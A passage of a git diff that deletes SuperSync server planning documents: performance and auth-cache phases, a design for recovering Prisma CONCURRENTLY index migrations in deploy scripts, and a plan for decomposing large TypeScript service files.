DoS. -- Snapshot side is handled in 0c. - -### 2e. Tests - -- Unit: after a 100-op upload, `calculateStorageUsage` and the cached `storage_used_bytes` counter agree to the byte. -- Test: reconcile-after-upload is idempotent (drift = 0). -- Test: a synthetic row with `payload_bytes = 0` (pre-backfill) still produces a conservative fallback SUM. Hard-cut rollout on backfill completion: `SUPERSYNC_BATCH_UPLOAD=true` must require an operator-set completion flag after `npm run migrate-payload-bytes` finishes. - ---- - -## Phase 3 — Snapshot serialization off the hot path (Finding #3, remainder) - -Pick after profiling Phase 0d in production: - -### 3a. Streaming serialize + gzip (conditional, NOT a default win) - -- Replace `prepareSnapshotCache` (`snapshot.service.ts:175-184`) with a streaming pipeline: a streaming JSON stringifier feeding `zlib.createGzip()`, collecting chunks into a final `Buffer.concat(...)`. -- **Pursue only if Phase 0d profiling shows OOM near `MAX_SNAPSHOT_DECOMPRESSED_BYTES` AND event-loop blocking — not memory pressure alone.** The 3-5× wall-clock regression vs native `JSON.stringify` makes this a memory-vs-latency trade. -- Net peak memory: saves the intermediate serialized string buffer (~100MB on large states), but the parsed JS object remains because it already exists. Expect roughly 30-40% peak reduction, not 50%+. -- **Verification gate:** `snapshotData` is only used for byte-count accounting and gunzip-then-parse round-tripping (verified — no hash or content comparison anywhere in `src/`). So byte-for-byte stability is NOT required; round-trip correctness is. Add a property-based test: random state → stream-stringify-gzip → gunzip-parse → deep-equal original. - -### 3b. Worker-thread offload (only if replay moves too) - -- Do not move only `JSON.stringify(state)` into a `worker_threads` worker. Structured-cloning a large state into the worker temporarily doubles heap and can cost more event-loop time than the stringify it avoids. Worker offload only makes sense if replay and stringify both move to the worker. - -If 0d alone is sufficient in prod (no OOMs, no event-loop-blocking signals), defer this phase indefinitely. - ---- - -## Phase 4 — Auth token-verification cache (Finding #6) - -### 4a. Cache shape - -- **New module:** `packages/super-sync-server/src/auth-cache.ts`, wired into `verifyToken` at `auth.ts:114-158`. -- LRU + TTL: `Map`. TTL 30s, max 10k entries. -- On verify: - 1. JWT decode (as today). - 2. Cache hit && not expired && `payload.tokenVersion === cached.tokenVersion` && `cached.isVerified` → return valid. - 3. Else hit DB, update cache, return. - -### 4b. Invalidation — full surface - -All `tokenVersion: { increment: 1 }` write sites plus account deletion must invalidate. Already wired in code with `// AUTH_CACHE_INVALIDATION:` comments adjacent to each write — kept here for future-PR awareness: - -- `auth.ts:77`/`:80` (`revokeAllTokens`) -- `auth.ts:96`/`:102` (`replaceToken`) -- `auth.ts:108` (post-write second invalidate after the new token version is read back) -- `passkey.ts:592`/`:616` (passkey recovery — pre- and post-write) -- `passkey.ts:278` (unverified-user delete in registration flow) -- `api.ts:210`/`:213`/`:215` (`prisma.user.delete` in account deletion — both pre- and post-delete invalidate) - -`isVerified` currently has no flip-to-zero path (`passkey.ts:277` deletes unverified users rather than flipping the flag). The assumption is already documented at `auth-cache.ts:80` — if a future code path adds verification revocation, the cache will serve stale "valid" for up to TTL. - -### 4c. Multi-instance concerns - -- `helm/supersync/values.yaml:193` caps `maxReplicas: 1`, so in-process LRU is safe. Comment explicitly so a future multi-instance rollout doesn't accidentally introduce 30s revocation lag. - -### 4d. Tests - -- Unit: revoke-and-replace invalidates cache; expired tokens still hit DB; tokenVersion mismatch falls through; user deletion invalidates cache; passkey recovery invalidates cache. -- Bench: 1000 sequential `verifyToken` calls — expect ~10× p50 latency drop on warm cache. - ---- - -## Cross-cutting - -- **Merge order:** 0a, 0b, 0c, 0d can land in any order, in parallel with Phase 1 design. Phase 2 depends on Phase 1 (same code paths). Phase 3 is conditional. Phase 4 is independent. -- **Telemetry first:** before Phase 1 lands, add structured logging of `(opsInBatch, txDurationMs, dbRoundtrips)` to `uploadOps` so we can quantify the win. Existing audit log handles per-op decisions; add a single batch-summary line. -- **Backfill-flag DB self-check:** the env-only `SUPERSYNC_PAYLOAD_BYTES_BACKFILL_COMPLETE=true` flag is operator-trusted. To prevent a too-early flip, the server runs a cheap `EXISTS (SELECT 1 FROM operations WHERE payload_bytes = 0 LIMIT 1)` probe at startup whenever `batchUpload === true` and refuses to boot if any unbackfilled rows remain. -- **Reconcile guard during backfill window:** `calculateStorageUsage` returns a `hasUnbackfilledRows` flag (computed from a `BOOL_OR(payload_bytes = 0)` over the same single scan). `updateStorageUsage` skips the `users.storage_used_bytes` write when the flag is true, so an approximate SUM-with-`octet_length`-fallback never replaces the exact incrementally-maintained counter mid-backfill. The forced-reconcile marker is preserved across the skip so the next call (after backfill completes) reconciles correctly. -- **ADR:** see `ARCHITECTURE-DECISIONS.md` Decision #4 ("Batch Uploads Under RepeatableRead"); already merged. -- **Docs:** update `docs/sync-and-op-log/operation-log-architecture-diagrams.md` §upload-path if it diagrams the per-op loop. -- **Prisma migrate dev:** document the shadow-DB workaround for migrations containing `CREATE INDEX CONCURRENTLY`; `migrate deploy` can run the production workaround, but `migrate dev` wraps migration SQL in a transaction where `CONCURRENTLY` is forbidden. -- **Server seq precision:** any raw `last_seq` read that crosses the JavaScript boundary must hard-fail if it is not a safe integer instead of blindly calling `Number(...)`. -- **Test patterns:** the codebase uses `vi.mock('../src/db', …)` with hand-rolled mocks, not Prisma `$on('query')` interceptors. Test-count assertions must use `vi.spyOn` on the mock surfaces. -- **Out of scope:** WebSocket fan-out, cleanup-job optimization, passkey paths. None flagged in the audit. - ---- - -## Estimated impact (rough order of magnitude) - -| Phase | Hot path affected | Expected win | Risk | -| ----- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------- | -------------------------- | -| 0a | Snapshot fast-path validation | Eliminates seq-range scan on **encrypted-op count**; full-state `findFirst` rechecks unchanged | very low | -| 0b | Snapshot replay | ~5–10× fewer full stringifications on large replays; zero (no regression) on the common small/incremental replay | low | -| 0c | Quota reconcile | Skips blob load (tens of MB) | very low | -| 0d | All routes (memory headroom) | Stops OOMs near snapshot cap | low (ops change) | -| 1 | Upload (every client batch) | ~5× fewer DB round trips on 25-op batch; shorter `user_sync_state` row lock; throughput-positive even under contention | medium-high | -| 2 | Quota reconcile (slow path) | Removes `pg_column_size` table scan; consistency between SUM and counter | medium (schema + backfill) | -| 3 | Snapshot upload memory | ~30-40% lower peak heap if streaming wins in profiling | medium | -| 4 | Auth on every request | ~10× p50 latency drop on warm cache | low | diff --git a/docs/plans/2026-05-15-generic-concurrently-migration-recovery-design.md b/docs/plans/2026-05-15-generic-concurrently-migration-recovery-design.md deleted file mode 100644 index 0d5c1ef9ca..0000000000 --- a/docs/plans/2026-05-15-generic-concurrently-migration-recovery-design.md +++ /dev/null @@ -1,195 +0,0 @@ -# Generic CONCURRENTLY migration recovery — design - -Date: 2026-05-15 -Status: validated, ready for implementation - -## Problem - -A production deploy failed applying `20260514000000_add_encrypted_ops_partial_index`: - -``` -Database error code: 25001 -ERROR: DROP INDEX CONCURRENTLY cannot run inside a transaction block -ERROR: prisma migrate deploy failed (exit 1). -``` - -Prisma 5.22 wraps every migration in a transaction; PostgreSQL forbids -`CREATE/DROP INDEX CONCURRENTLY` inside a transaction block (P3018 / SQLSTATE -25001). The codebase already knows this and has an out-of-band recovery path — -but it failed to engage. - -### Root cause - -The recovery logic was **duplicated and name-hardcoded** in two places: - -- host `scripts/deploy.sh` — a ~310-line ladder of `is_*_transaction_block_failure` - / `apply_*_outside_prisma` / `resolve_*` functions hardcoding three migration - names. -- in-image `scripts/migrate-deploy.sh` — a second copy with the same three - hardcoded names. - -`deploy.sh` runs **on the host** and self-updates only via a best-effort -`git pull --ff-only || echo "WARNING: … continuing with current files"`. The -production host's `deploy.sh` predated PR #7621, so it knew only about -`20260512000000`. It pulled the new image (which *does* contain the new -CONCURRENTLY migration), ran `prisma migrate deploy`, hit P3018 on -`20260514000000`, matched none of its hardcoded recovery branches, and bailed. - -The real defect is **host/image version skew plus name hardcoding**: every new -CONCURRENTLY migration requires editing host-side recovery logic in lockstep, -and a stale host script silently degrades. - -## Goals - -1. Eliminate host/image skew: recovery logic ships *inside the image*, - version-locked to `prisma/migrations/` in the same build. -2. Name-agnostic: no migration names hardcoded anywhere. New CONCURRENTLY - migrations need zero changes to deploy tooling. -3. Tight safety gate: never force-mark a genuinely broken migration as applied. -4. De-duplicate: one recovery implementation, three call sites. - -## Architecture - -`scripts/migrate-deploy.sh` becomes the single source of truth (reuse the -existing filename — already `COPY`'d into the image by the `Dockerfile`, -already the startup `CMD` target; Dockerfile unchanged). - -| Caller | Before | After | -| --- | --- | --- | -| Host `deploy.sh` | `npx prisma migrate deploy` + ~310 lines of hardcoded host-side recovery | `timeout "$MIGRATION_TIMEOUT" $MIGRATOR_RUN sh -ec 'sh scripts/migrate-deploy.sh'` + exit-code handling only | -| Image startup (`RUN_MIGRATIONS_ON_STARTUP=true`) | own hardcoded copy | the new generic script (wiring unchanged) | -| Manual ops | run the deploy.sh dance by hand | `docker compose run --rm supersync sh scripts/migrate-deploy.sh` | - -Because `scripts/` and `prisma/migrations/` are copied into the image in the -same `Dockerfile` build, the recovery logic can never be stale relative to the -migrations it must handle. A stale host `deploy.sh` only needs to know how to -*invoke* the in-image script; the recovery *content* always comes from the -freshly pulled image. - -Removed: the entire `deploy.sh` block from `MIGRATE_LOG=""` (~line 176) through -the if-ladder (~line 486), and all hardcoded logic in the old -`migrate-deploy.sh`. Net: ~440 hardcoded lines deleted, ~120 generic lines -added. - -## Recovery algorithm (in `migrate-deploy.sh`) - -Bounded loop (max 8 attempts — covers several sequential CONCURRENTLY -migrations in one deploy): - -``` -attempt = 0 -loop: - log = $(npx prisma migrate deploy 2>&1); status = $? - echo "$log" - status == 0 -> exit 0 - attempt++ ; attempt > MAX -> fail loudly, exit status - - name = parse_failing_migration(log) - name empty -> fail loudly + manual cmds, exit status - - is_txn_block = log has 'P3018' AND 'cannot run inside a transaction block' - is_stuck = log has 'P3009' # prior failed migration - not (is_txn_block OR is_stuck) -> fail loudly, exit status - - sql = prisma/migrations//migration.sql - sql missing OR not grep -qi 'INDEX[[:space:]]\+CONCURRENTLY' sql - -> fail loudly, exit status # CONCURRENTLY guard - - name == last_recovered_name -> abort (re-failed), exit 1 # no infinite loop - - recover(name); last_recovered_name = name - continue -``` - -`parse_failing_migration` matches Prisma's own output, in priority order: -`Migration name: ` (P3018 block), else the backticked name in -`Applying migration \`\``, else the backticked name in the P3009 sentence -(`The \`\` migration started at … failed`). All three strings appear -verbatim in the observed production log. - -`recover(name)`: - -1. `npx prisma migrate resolve --rolled-back ` — tolerate non-zero with a - warning (`"not in a failed state; continuing"`), matching today's behavior. -2. Split `migration.sql` into statements; run **each** via - `printf '%s\n' "$stmt" | npx prisma db execute --schema prisma/schema.prisma --stdin`. -3. If **any** statement fails: STOP, do **not** `resolve --applied`, print the - exact remaining manual commands, exit non-zero. -4. Only if **every** statement succeeded: `npx prisma migrate resolve --applied - `. - -`--applied` is therefore never "force" — it is asserted only after the -migration's own SQL verifiably ran. Genuine bugs, non-CONCURRENTLY migrations, -and unexpected errors all fall through to loud failure with a manual escape -hatch. - -## Statement splitter - -`prisma db execute --file` would re-trigger the implicit-transaction bug for -multi-statement files (Postgres treats a multi-statement simple query as one -transaction), so statements are split and executed one per `--stdin` call. An -`awk` pass: - -- drops full-line comments (`^[[:space:]]*--`), -- accumulates lines, emits a statement when a line ends with `;`, -- trims whitespace; skips empty statements. - -### Constraint (documented in the script header + migrations docs) - -Out-of-band recovery supports CONCURRENTLY **index** migrations only. Statements -must not embed `;` inside string literals; comments must be full-line `--`. All -four existing CONCURRENTLY migrations satisfy this. Acceptable because the -CONCURRENTLY guard already restricts the blast radius to index migrations. - -### Authoring rule (documented requirement) - -A CONCURRENTLY migration MUST be written as: - -```sql -DROP INDEX CONCURRENTLY IF EXISTS "x"; -CREATE INDEX CONCURRENTLY "x" ON ...; -``` - -`DROP … IF EXISTS` first makes re-runs idempotent and clears a leftover INVALID -index from an interrupted concurrent build. This promotes an already-implicit -pattern (stated in the existing migrations' own comments) to a stated rule. - -## Host `deploy.sh` (unchanged concerns) - -Keeps: Caddy validation, `git pull`, image pull/build, Postgres compose-up, -`DATABASE_URL` host rewrite, DB connectivity check, the `timeout` wrapper (a -hung concurrent build still fails the deploy with exit 124, loudly), -`RUN_MIGRATIONS_ON_STARTUP=false` for the compose update, container start, -health checks. Only the migration block collapses to a single timed -invocation of the in-image script. - -## Failure / escape hatch - -On any bail (genuine bug, guard miss, statement failure, re-failure) the script -prints the precise manual sequence — `migrate resolve --rolled-back `, -the per-statement `db execute` lines from that migration's SQL, `migrate -resolve --applied ` — so an operator always has a copy-pasteable -recovery. - -## Testing - -1. **Fast, no DB** — shell fixture tests for `parse_failing_migration` and the - SQL splitter against: a sample Prisma P3018 log, a sample P3009 log, and the - four real `migration.sql` files. Locks the two fiddly text routines. -2. **Integration (docker Postgres)** — using the existing SuperSync compose - harness: - - positive: a synthetic CONCURRENTLY index migration → script recovers from - the in-transaction failure, `_prisma_migrations` row is `applied`, the - index exists. - - stuck-state: pre-seed a failed (`P3009`) CONCURRENTLY row (the live - incident shape) → script recovers. - - negative: a deliberately broken **non-CONCURRENTLY** migration → script - does **not** mark it applied and exits non-zero. - -## Out of scope - -- Changing Prisma's transaction behavior or upgrading Prisma. -- Generalizing beyond index CONCURRENTLY migrations (guard intentionally - narrow). -- Host `deploy.sh` self-update mechanism (best-effort `git pull` stays; this - design makes its staleness irrelevant to migration correctness). diff --git a/docs/plans/2026-05-15-super-sync-server-decomposition.md b/docs/plans/2026-05-15-super-sync-server-decomposition.md deleted file mode 100644 index bde81dfa59..0000000000 --- a/docs/plans/2026-05-15-super-sync-server-decomposition.md +++ /dev/null @@ -1,215 +0,0 @@ -# SuperSync Server Decomposition Implementation Plan (v2) - -> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task. - -**Goal:** Split the three giant SuperSync-server files (`sync.service.ts` 2322 LOC, `sync.routes.ts` 1475 LOC, `services/snapshot.service.ts` 1215 LOC) into cohesive, single-responsibility modules without changing behavior, the HTTP/wire contract, or the DB schema. - -**Architecture:** `SyncService` / `SnapshotService` remain thin orchestrator **facades** with their public APIs intact. Heavy cohesive clusters move into new collaborators. Pure logic (op-replay, conflict comparison) becomes Prisma-free top-level modules with their own fast unit tests. Eviction is folded into the existing `StorageQuotaService` (it is one concern with quota accounting), not a new sibling. - -**Tech Stack:** TypeScript (strict), Fastify 5, Prisma 5.22, Vitest 3, Zod 4. Single-instance server, process-local caches. - -> **v2 changelog (from multi-review of v1):** Fixed Task-8 method list (v1 named a non-existent `aggregateFullStateVectorClock`; ~430 LOC of batch-pipeline internals were unassigned) and split it into 8a/8b/8c. Added mandatory `EncryptedOpsNotSupportedError` re-export (v1 would break `sync.routes.ts` + the snapshot spec). Corrected the regression-gate commands (v1 cited specs **excluded** from `npm test`). Folded eviction into `StorageQuotaService` (v1's "inject SnapshotService" watch-out guarded a dependency that does not exist). Merged the two conflict files into one and the four route-helper modules into two; pure modules moved to `src/sync/` top-level (not `services/`). Added the unavoidable, enumerated spec-spy re-points (v1's "specs 100% untouched" premise was proven false for Tasks 6 & 7). - ---- - -## Guiding principles (read before every task) - -1. **Facades preserved.** `SyncService` / `SnapshotService` keep every public method signature. No route file is edited except the two explicitly-listed `import` lines (Task 4) — the `syncRoutes` registration body and all reply shapes are unchanged. -2. **No behavior / API / wire / DB change.** Pure structural moves, verbatim. If a move would change behavior, STOP and flag it. -3. **Spec policy — honest version.** No _behavioral_ spec changes. But three spec sites reach private members through `service as unknown as {...}` casts and **must** be re-pointed when their target moves (proven, not hypothetical): - - `tests/sync.service.spec.ts:924-929` — `vi.spyOn(service as unknown as {...}, '_aggregatePriorVectorClock')` → re-point to the `OperationUploadService` instance (Task 7b). - - `tests/sync.service.spec.ts:2117-2122` — `service as unknown as { deleteOldSyncedOpsBatch; storageQuotaService }` → after eviction folds into `StorageQuotaService`, spy/assert on `service['storageQuotaService']` (same instance) (Task 5). - These are the **only** permitted spec edits, committed with `test:` scope, listed per-task. Everything else: specs untouched. -4. **The regression gate is what `npm test` actually runs.** `vitest.config.ts` **excludes** `tests/sync.routes.spec.ts`, `tests/snapshot-skip-optimization.spec.ts`, and all `tests/integration/**`. Per-task baselines name only specs that execute. Integration specs (need a live Postgres) run out-of-band via `npx vitest run --config vitest.integration.config.ts` and are a **pre-merge** gate (Task 8), not a per-task one. No "run twice for timezones" — that is a client-only trait and false here (server `npm test` sets no `TZ`). -5. **Two-phase move technique (mandatory for the 4 big tasks: 2, 4, 6, 7).** Phase A: in the _original_ file, convert the cluster's methods to free functions / a nested class and re-point call sites; run the targeted spec — the compiler + spec catch every `this`-capture and signature error before anything crosses a file boundary. Phase B: relocate the now-self-contained block to the new file, add imports/exports, re-point. Commit after Phase B (or after each phase for Task 7). -6. **One collaborator per task, smallest viable diff.** Move verbatim. No "while I'm here" rewrites (CLAUDE.md: stay in scope). -7. **Tasks are ordered by ascending risk** and each is independently shippable + green. Hard dependencies are stated explicitly. - -### Commands - -```bash -npm run checkFile # lint+format every .ts touched -cd packages/super-sync-server && npx vitest run # fast per-task iteration loop -cd packages/super-sync-server && npm test # full gate (vitest run); commit gate only -cd packages/super-sync-server && npx vitest run --config vitest.integration.config.ts # needs live Postgres; pre-merge only -``` - -`pretest` runs `prisma generate` (idempotent — run once per session, not per edit). Sandbox note: if `prisma generate`/vitest fails on a read-only home, prefix with a seeded fake home — memory `reference_supersync_prisma_sandbox.md` (`cp -r ~/.cache/prisma $TMPDIR/fakehome/.cache/prisma && HOME=$TMPDIR/fakehome npm test`). - -### Commit convention - -`refactor(sync): ` for moves; `test(sync): re-point private spy to ` for the three sanctioned spec edits. Never `fix(test):`. One commit per task (Task 7: one per sub-step). - ---- - -## Task 0: Hoist SyncService-local shared types into `sync.types.ts` - -Prevents the circular import (`sync.service.ts → services/index.ts → new module → sync.service.ts`) that Tasks 2/7 would otherwise create. Pure type move, zero runtime change. - -**Files:** Modify `src/sync/sync.service.ts`, `src/sync/sync.types.ts`. - -**Move** (currently declared in `sync.service.ts`): `DuplicateOperationCandidate` (32), `DUPLICATE_OP_SELECT` (55), `LatestEntityOperationRow` (72), `LatestBatchEntityOperationRow` (78), `BatchUploadCandidate` (82), `AcceptedBatchOperation` (89), and the const `CONFLICT_DETECTION_ENTITY_BATCH_SIZE` (96) → `sync.types.ts`. Re-import them into `sync.service.ts`. - -**Steps:** Baseline `npx vitest run tests/sync.service.spec.ts` → move types → `checkFile` both files → `npm test` green → commit `refactor(sync): hoist shared upload/conflict types into sync.types`. - ---- - -## Task 1: Extract pure op-replay engine → `src/sync/op-replay.ts` - -Lowest risk: replay is already pure. Pure logic belongs at `src/sync/` top-level (precedent: `sync.types.ts`, `gzip.ts`, `cleanup.ts`), **not** under `services/` (that barrel is for stateful classes extracted from SyncService). - -**Files:** - -- Create: `packages/super-sync-server/src/sync/op-replay.ts` -- Create: `packages/super-sync-server/tests/op-replay.spec.ts` -- Modify: `src/sync/services/snapshot.service.ts` - -**Move to `op-replay.ts`** (from `snapshot.service.ts`, verbatim, as exported free functions/values): `replayOpsToState` (914-1123, **verified zero `this.` refs — genuinely pure**); the pure top-level helpers ~35-166 (op-size estimation, `MAX_REPLAY_STATE_SIZE_BYTES` + size guard); `EncryptedOpsNotSupportedError` (115); `assertContiguousReplayBatch` (146); `ReplayOperationRow` (the replay input-contract type, ~135); `_resolveExpectedFirstSeq` (1191-1214, **verified pure**). Leave `REPLAY_OPERATION_SELECT` (124, a Prisma select) and `MAX_SNAPSHOT_SIZE_BYTES` in `snapshot.service.ts` (generation owns those; Task 6 imports `ReplayOperationRow` from `op-replay.ts`). - -**CRITICAL re-export (do not skip):** `sync.routes.ts:40` imports `EncryptedOpsNotSupportedError` from `./services/snapshot.service` and does identity-sensitive `instanceof` at `sync.routes.ts:941` and `:1451`; `tests/snapshot.service.spec.ts:4` imports it the same way. `snapshot.service.ts` MUST add `export { EncryptedOpsNotSupportedError } from '../op-replay';` (re-export the _same_ class object — never re-declare). Without this, the routes and the 1899-LOC snapshot spec fail to compile / `instanceof` silently returns false. - -**Steps:** - -1. Baseline: `npx vitest run tests/snapshot.service.spec.ts tests/sync.service.spec.ts` → record green. -2. Create `op-replay.ts` (verbatim moves; `replayOpsToState` becomes `export const replayOpsToState = (...) => {...}`). -3. In `snapshot.service.ts`: replace `replayOpsToState` body with a one-line delegate (preserve the public method — `snapshot.service.spec.ts:1444+` calls it as a public instance method); import the moved helpers from `../op-replay`; add the **re-export** line. -4. Add `tests/op-replay.spec.ts` — direct pure unit tests (no DB): empty ops → base; CREATE→UPDATE fold; DEL semantics; oversized-state guard throws; encrypted op → `EncryptedOpsNotSupportedError`; `assertContiguousReplayBatch` gap rejection; `_resolveExpectedFirstSeq` leading-gap rule. Mirror assertions already in `snapshot.service.spec.ts` (do NOT delete those). -5. `checkFile` all changed/created `.ts`. -6. `npm test` full green (same counts + new spec). -7. Commit `refactor(sync): extract pure op-replay engine; re-export EncryptedOpsNotSupportedError`. - ---- - -## Task 2: Extract conflict logic → single `src/sync/conflict.ts` - -One file (pure functions + the 3 thin DB functions taking `tx`), not two — the pure functions are independently testable as named exports regardless of file. Top-level, not `services/`. - -**Files:** - -- Create: `packages/super-sync-server/src/sync/conflict.ts` -- Create: `packages/super-sync-server/tests/conflict.spec.ts` -- Modify: `src/sync/sync.service.ts` - -**Move to `conflict.ts`** (verbatim; use the Phase-A/B technique): - -- _Pure fns:_ `resolveConflictForExistingOp` (304), `isSameDuplicateOperation` (402), `isSameDuplicateTimestamp` (431, takes `maxClockDriftMs` param), `areJsonValuesEqual` (458), `stableJsonStringify` (462), `toStableJsonValue` (466), `getConflictEntityIds` (538), `getEntityConflictKey` (547), `getBatchConflictEntityPairs` (551), `pruneVectorClockForStorage` (612, **note: mutates `op.vectorClock` + logs — not referentially pure; test asserts mutation**). -- _DB fns (take `tx: Prisma.TransactionClient`):_ `detectConflict` (219), `detectConflictForEntities` (254), `detectConflictForEntity` (~372), `prefetchLatestEntityOpsForBatch` (570). - -**Explicitly NOT moved here** (they are upload-pipeline concerns, not conflict logic — they go to Task 7's `OperationUploadService`): `clampFutureTimestamp` (485, reads config + mutates + audit-logs), `rejectedUploadResult` (509, audit-logs + shapes `UploadResult`). - -**SyncService wiring:** add `private conflict = ...` — since `conflict.ts` is functions, the facade and `OperationUploadService` import them directly; keep facade method names only where a spec references them (none do — `conflict-detection.spec.ts` exercises via public `uploadOps`). The serial path's legacy post-sequence re-check (`processOperation`, the `this.detectConflict` call at ~1463 with the compensating `lastSeq` decrement at ~1465) becomes a `conflict.detectConflict(tx, ...)` call — keep the decrement paired with it (Task 7c). - -**Steps:** Baseline `npx vitest run tests/sync.service.spec.ts tests/conflict-detection.spec.ts tests/duplicate-operation-precheck.spec.ts` → Phase A (in-file fn conversion, run targeted spec) → Phase B (move to `conflict.ts`) → add `tests/conflict.spec.ts` (dup true/false, timestamp-clamp boundaries, vector-clock CONCURRENT vs LESS_THAN, stable-stringify key ordering, prune at `MAX_VECTOR_CLOCK_SIZE=20` per `docs/sync-and-op-log/vector-clocks.md`, `pruneVectorClockForStorage` mutation) → `checkFile` → `npm test` green → commit `refactor(sync): extract conflict detection + resolution into pure module`. - ---- - -## Task 3: Split `sync.routes.ts` HTTP helpers → 2 flat modules - -Two modules (not four). Flat `sync.routes.*.ts` siblings (codebase route convention is flat: `sync.routes.ts`, `websocket.routes.ts` — no `routes/` subdir, no new barrel). - -**Files:** - -- Create: `src/sync/sync.routes.payload.ts` — compression/body-size constants (74-96), `getMaxRawBodySizeForCompressedPayload` (91), `createRawBodyLimitPreParsingHook` (163), `getHeaderString` (111), `hasHeaderToken` (119), `getParsedContentLength` (127), `createPayloadTooLargeError` (105), `ENCRYPTED_OPS_CLIENT_MESSAGE` (50), `createValidationErrorResponse` (58), `errorMessage` (186), `sendCompressedBodyParseFailure` (383). -- Create: `src/sync/sync.routes.quota.ts` — `computeOpsStorageBytes` (201), `computeJsonStorageBytes` (214), `getRawOpsCount` (222), `sendOpsBatchTooLargeReply` (228), `applyStorageUsageDelta` (243), `sendQuotaExceededReply` (268), `enforceStorageQuota` (414), `enforceCleanSlateStorageQuota` (479), and the sync-import-idempotency trio `findExistingSyncImport` (303), `isIdempotentSyncImportRetry` (346), `sendSyncImportExistsReply` (351) (used only by the snapshot handler). -- Modify: `sync.routes.ts` (imports only; `syncRoutes` body unchanged). - -**Steps:** Baseline `npx vitest run tests/sync-compressed-body.routes.spec.ts tests/decompress-body.spec.ts tests/storage-quota-cleanup.spec.ts` (NOT `sync.routes.spec.ts` — excluded from `npm test`) → create the 2 modules (verbatim; `quota.ts` imports `errorMessage`/`createValidationErrorResponse` from `payload.ts`) → update imports → `checkFile` → `npm test` green → commit `refactor(sync): split sync.routes HTTP helpers into payload + quota modules`. - ---- - -## Task 4: Extract POST handlers from `sync.routes.ts` - -Depends on Task 3 (handlers close over its helpers). - -**Files:** - -- Create: `src/sync/sync.routes.ops-handler.ts` — POST `/ops` body (546-812). -- Create: `src/sync/sync.routes.snapshot-handler.ts` — POST `/snapshot` body (963-1297). -- Modify: `sync.routes.ts` — register handlers by reference; Fastify schema objects stay in `sync.routes.ts`. The two `import` lines for `EncryptedOpsNotSupportedError` and the new handlers are the only permitted route-file edits. - -**Watch-outs:** handlers resolve `getSyncService()` internally exactly as inline today; preserve call order, transaction boundaries, reply shapes, and the `instanceof EncryptedOpsNotSupportedError` checks (now satisfied by Task 1's re-export). Use the editor "move to new file" refactor where possible (auto-threads helper imports). - -**Steps:** Baseline `npx vitest run tests/sync-operations.spec.ts tests/sync-compressed-body.routes.spec.ts tests/sync-fixes.spec.ts` → Phase A/B move → wire references → `checkFile` → `npm test` green → commit `refactor(sync): extract /ops and /snapshot handlers from sync.routes`. - ---- - -## Task 5: Fold eviction into `StorageQuotaService`; move `deleteStaleDevices` to `DeviceService` - -Eviction + quota accounting are one concern (free → reconcile counter → re-check → rollback). `deleteOldestRestorePointAndOps` clears the snapshot cache via a **direct `prisma.userSyncState.update`** (~2062-2075) — there is NO `snapshotService` dependency (v1's watch-out was wrong). The eviction code's only collaborator is `StorageQuotaService` itself. - -**Files:** - -- Modify: `src/sync/services/storage-quota.service.ts` (gains eviction), `src/sync/services/device.service.ts` (gains `deleteStaleDevices`), `src/sync/sync.service.ts` (delegations), `tests/sync.service.spec.ts` (one sanctioned spec re-point). - -**Move to `StorageQuotaService`:** `deleteOldSyncedOpsForAllUsers` (1849), private `deleteOldSyncedOpsBatch` (~1941), `deleteOldestRestorePointAndOps` (1981), `freeStorageForUpload` (2106), and the `OLD_OPS_CLEANUP_*` constants + `getOldOpsCleanup*` env helpers (102-177). They already call `this.updateStorageUsage/checkStorageQuota/decrementStorageUsage/incrementStorageUsage` — these become same-class calls (delete the SyncService delegate hops). `SyncService` keeps thin facades (`cleanup.ts:27/46` calls `syncService.deleteOldSyncedOpsForAllUsers` / `deleteStaleDevices` — preserve those + the return contract `cleanup.spec.ts:72` asserts). -**Move to `DeviceService`:** `deleteStaleDevices` (2251). `isDeviceOwner`/`getAllUserIds`/`getOnlineDeviceCount` (2296-2305) are **already** delegates to `DeviceService` (no work). `deleteAllUserData` (2264) is multi-cache orchestration — stays on the facade. - -**Sanctioned spec re-point:** `tests/sync.service.spec.ts:2117-2122` accesses `service as unknown as { deleteOldSyncedOpsBatch; storageQuotaService }` and asserts `storageQuotaService.needsReconcile`. After the fold, `deleteOldSyncedOpsBatch` lives on the _same_ `storageQuotaService` instance the spec already reaches — re-point the spy to `service['storageQuotaService']`. Commit separately: `test(sync): re-point deleteOldSyncedOpsBatch spy to StorageQuotaService`. - -**Steps:** Baseline `npx vitest run tests/storage-quota-cleanup.spec.ts tests/storage-quota.service.spec.ts tests/sync.service.spec.ts tests/cleanup.spec.ts` → move methods (verbatim; snapshot-cache invalidation stays the inline `prisma.userSyncState.update`) → adjust facade delegations → re-point the one spec spy → `checkFile` → `npm test` green → 2 commits (`refactor(sync): fold storage eviction into StorageQuotaService; move deleteStaleDevices to DeviceService` + the `test:` re-point). - ---- - -## Task 6: Extract `SnapshotGenerationService` from `snapshot.service.ts` - -Depends on Task 1 (`replayOpsToState` from `op-replay.ts`). `SnapshotService` keeps the lock map + read-side cache accessors + cache orchestration; generation (which itself does write-through cache DB writes) moves out — name is accurate, facade role is "lock + read-cache + orchestration." - -**Files:** Create `src/sync/services/snapshot-generation.service.ts`; modify `snapshot.service.ts`, `services/index.ts`. - -**Move:** `_generateSnapshotImpl` (474-731), `generateSnapshotAtSeq` body (783-1124), `_assertNoEncryptedOps` (1125), `_assertCachedSnapshotBaseReplayable` (1146). Keep on facade (delegating): public `generateSnapshot` (439), public `generateSnapshotAtSeq` (783 signature), `snapshotGenerationLocks`, `getCached*`, `cacheSnapshot*`, `_invalidateCachedSnapshot`, `getRestorePoints`/`_getRestorePointDescription`. The collaborator imports `replayOpsToState`/`ReplayOperationRow`/`_resolveExpectedFirstSeq` from `../op-replay` and owns `REPLAY_OPERATION_SELECT`. Preserve the per-user generation-lock semantics exactly. - -**Steps:** Baseline `npx vitest run tests/snapshot.service.spec.ts` (NOT `snapshot-skip-optimization.spec.ts` — excluded) → Phase A/B move → delegate → barrel → `checkFile` → `npm test` green → commit `refactor(sync): extract SnapshotGenerationService from SnapshotService`. (Pre-merge: also run the excluded `snapshot-skip-optimization` + integration specs via the integration config — see Task 8.) - ---- - -## Task 7: Extract `OperationUploadService` (upload pipeline) — highest risk, three sub-steps - -`SyncService.uploadOps` keeps the `prisma.$transaction` shell, `RepeatableRead` isolation, 60s timeout, clean-slate block, post-tx cache clears, summary logging, and the serialization-failure classification (it shapes the client retry contract). All extracted methods take `tx: Prisma.TransactionClient` per call and **never** open their own transaction (verified: the pipeline already uses injected `tx` throughout — no 